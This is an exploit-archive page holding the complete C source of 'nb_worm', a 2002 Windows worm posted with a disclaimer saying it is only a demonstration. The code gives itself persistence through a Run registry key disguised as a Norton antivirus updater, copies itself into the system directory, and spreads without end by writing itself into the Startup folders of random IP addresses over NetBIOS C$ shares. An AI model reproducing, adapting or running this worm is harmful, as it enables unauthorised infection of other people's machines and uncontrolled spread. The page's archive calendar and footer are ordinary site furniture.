exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

nb_worm.c

nb_worm.c
Posted Dec 6, 2002
Authored by r-22 | Site manshadow.org

Netbios Worm v1.0 is a simple program which shows how a worm can spread across netbios shares.

tags | worm
SHA-256 | 5537a2f48a21330e64b052695d14ffa0b6b83bfeb27f1a5920b8dbc6e6617e57

nb_worm.c

Change Mirror Download
/*
nb_worm 1.0

coded by: r-22
date: 12.05.02
e-mail: admin@manshadow.org
www: http://www.manshadow.org/

this is just a simple program to show
how to make a worm that spreads across
through netbios shares, this is
actually a chopped version of 4x10m
an irc bot i am working on currently
this code is not meant to be used
in a malicious manner and the writer
of this code is not to be held responsible
for any damage that is a result of the
use of this code

shouts to:
strychnine, uniTy, rabbit, m03
cThReE, aol secrets and #niz2k

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define WIN32_LEAN_AND_MEAN

#define APP_VERSION "nb_worm 1.0"


/* prototypes */
void InstallReg();
void MoveLocal();
void MoveNetBIOS();
void GetRandIP(const char *ip_addr);

/* main program code */
int main(int argc, char *argv[])
{

InstallReg();
MoveLocal();
while (1)
{
MoveNetBIOS();
Sleep(2000);
}
return 0;
}


/* install registry keys */
void InstallReg()
{
HKEY reg_key;
char reg_val[16] = "NAV Live Update";
char app_name[MAX_PATH];

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &reg_key, NULL);
RegSetValueEx(reg_key, reg_val, 0, REG_SZ, (const unsigned char *)&app_name, sizeof(app_name) +1 );
RegCloseKey(reg_key);
}


/* change bot location to %SystemRoot% */
void MoveLocal()
{
char sysdir[MAX_PATH];
char app_name[MAX_PATH];
char base_name[MAX_PATH];
char *file_name;

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
GetSystemDirectory(sysdir, sizeof(sysdir));
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, sysdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
}


/* copy bot to startup directory of remote machine */
void MoveNetBIOS()
{
char netdir[MAX_PATH];
char app_name[MAX_PATH];
char base_name[MAX_PATH];
char *file_name;
char ip_addr[16];

GetModuleFileName(GetModuleHandle(NULL), app_name, sizeof(app_name));
/* Windows 2000 and Windows XP startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C$\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup");
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
/* Windows 95/98 and Windows ME startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C\\WINDOWS\\Start Menu\\Programs\\Startup"); /* do not use C$ */
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
/* Windows NT startup directory */
strcpy(netdir, "\\\\");
GetRandIP(ip_addr);
strcat(netdir, ip_addr);
strcat(netdir, "\\C$\\WINNT\\All Users\\Start Menu\\Programs\\Startup");
file_name = strrchr(app_name, '\\');
if (file_name != NULL)
{
strcpy(base_name, netdir);
strcat(base_name, file_name);
CopyFile(app_name, base_name, 0);
}
}


/* return a random ip from 1.1.1.1 to 254.254.254.254 */
void GetRandIP(const char *ip_addr)
{
char ip_addr_a[4];
char ip_addr_b[4];
char ip_addr_c[4];
char ip_addr_d[4];

srand(time(NULL));
itoa(rand() % 253 + 1, ip_addr_a, 10);
itoa(rand() % 253 + 1, ip_addr_b, 10);
itoa(rand() % 253 + 1, ip_addr_c, 10);
itoa(rand() % 253 + 1, ip_addr_d, 10);
strcpy((char *)ip_addr, ip_addr_a);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_b);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_c);
strcat((char *)ip_addr, ".");
strcat((char *)ip_addr, ip_addr_d);
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close